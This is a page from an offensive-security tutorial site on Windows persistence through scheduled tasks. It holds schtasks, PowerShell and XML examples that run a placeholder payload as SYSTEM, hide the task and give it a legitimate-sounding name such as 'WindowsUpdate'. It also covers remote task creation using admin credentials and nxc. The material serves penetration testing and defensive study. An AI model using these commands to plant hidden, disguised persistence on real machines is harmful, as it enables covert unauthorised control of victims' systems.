Skip to content
HackIndex logo

HackIndex

Windows Scheduled Task Persistence

3 min read Jul 14, 2026

Scheduled tasks are one of the most reliable persistence mechanisms on Windows. They survive reboots, can run as any user including SYSTEM, support complex triggers, and blend in with the dozens of legitimate tasks already present on every Windows installation. Tasks created with admin rights that run as SYSTEM execute even when no user is logged in.

Creating tasks with schtasks

The built-in schtasks command works on all Windows versions and requires no additional tools.

PS C:\Users\Guest\Desktop> # Run at system startup as SYSTEM
PS C:\Users\Guest\Desktop> schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f
 
PS C:\Users\Guest\Desktop> # Run at user logon
PS C:\Users\Guest\Desktop> schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru $USER /f
 
PS C:\Users\Guest\Desktop> # Run every 5 minutes (useful for checking in)
PS C:\Users\Guest\Desktop> schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 5 /ru SYSTEM /f
 
PS C:\Users\Guest\Desktop> # Run daily at a specific time
PS C:\Users\Guest\Desktop> schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc daily /st 09:00 /ru SYSTEM /f
 
PS C:\Users\Guest\Desktop> # Verify task was created
PS C:\Users\Guest\Desktop> schtasks /query /tn "WindowsUpdate" /fo LIST /v

Task names that resemble legitimate Windows tasks blend in better. Common patterns: WindowsUpdate, MicrosoftEdgeUpdate, OneDriveRemediation. Place tasks in a subfolder to further reduce visibility: use /tn "\Microsoft\Windows\UpdateOrchestrator\TaskName".

Creating tasks with PowerShell

The PowerShell task cmdlets give more control over trigger types and task properties than schtasks.

PS C:\Users\Guest\Desktop> # Define action, trigger, settings, and principal
PS C:\Users\Guest\Desktop> $action = New-ScheduledTaskAction -Execute 'C:\Windows\Temp\payload.exe'
PS C:\Users\Guest\Desktop> $trigger = New-ScheduledTaskTrigger -AtStartup
PS C:\Users\Guest\Desktop> $settings = New-ScheduledTaskSettingsSet -Hidden
PS C:\Users\Guest\Desktop> $principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest
 
PS C:\Users\Guest\Desktop> # Register the task
PS C:\Users\Guest\Desktop> Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
 
PS C:\Users\Guest\Desktop> # Logon trigger
PS C:\Users\Guest\Desktop> $trigger = New-ScheduledTaskTrigger -AtLogOn
PS C:\Users\Guest\Desktop> Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
 
PS C:\Users\Guest\Desktop> # Repeating trigger — every 10 minutes indefinitely
PS C:\Users\Guest\Desktop> $trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 10) -Once -At (Get-Date)
PS C:\Users\Guest\Desktop> Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force

XML task import

Tasks can be defined in XML and imported. This is useful for creating tasks with trigger types or properties that schtasks does not expose through command-line flags, and the XML can be staged on disk and imported in one step.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <BootTrigger>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <Hidden>true</Hidden>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  </Settings>
  <Actions>
    <Exec>
      <Command>C:\Windows\Temp\payload.exe</Command>
    </Exec>
  </Actions>
</Task>
PS C:\Users\Guest\Desktop> # Import XML task definition
PS C:\Users\Guest\Desktop> schtasks /create /tn "WindowsUpdate" /xml C:\Windows\Temp\task.xml /f
 
PS C:\Users\Guest\Desktop> # Or via PowerShell
PS C:\Users\Guest\Desktop> $xml = Get-Content C:\Windows\Temp\task.xml | Out-String
PS C:\Users\Guest\Desktop> Register-ScheduledTask -Xml $xml -TaskName 'WindowsUpdate' -Force

Remote task creation

Tasks can be created on remote hosts directly from your current session if you have admin credentials. This is useful for establishing persistence on a host you have moved to without needing an interactive shell.

PS C:\Users\Guest\Desktop> # schtasks with /s flag for remote host
PS C:\Users\Guest\Desktop> schtasks /create /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f
 
PS C:\Users\Guest\Desktop> # Query remote task
PS C:\Users\Guest\Desktop> schtasks /query /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate"
 
PS C:\Users\Guest\Desktop> # nxc — create and run task on remote host
PS C:\Users\Guest\Desktop> nxc smb $TARGET_IP -u $USER -p $PASSWORD -M schtask_as_user -o TASK=WindowsUpdate CMD="C:\Windows\Temp\payload.exe"

Cleaning up

PS C:\Users\Guest\Desktop> # Delete task
PS C:\Users\Guest\Desktop> schtasks /delete /tn "WindowsUpdate" /f
 
PS C:\Users\Guest\Desktop> # PowerShell
PS C:\Users\Guest\Desktop> Unregister-ScheduledTask -TaskName 'WindowsUpdate' -Confirm:$false
 
PS C:\Users\Guest\Desktop> # Remote removal
PS C:\Users\Guest\Desktop> schtasks /delete /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate" /f

References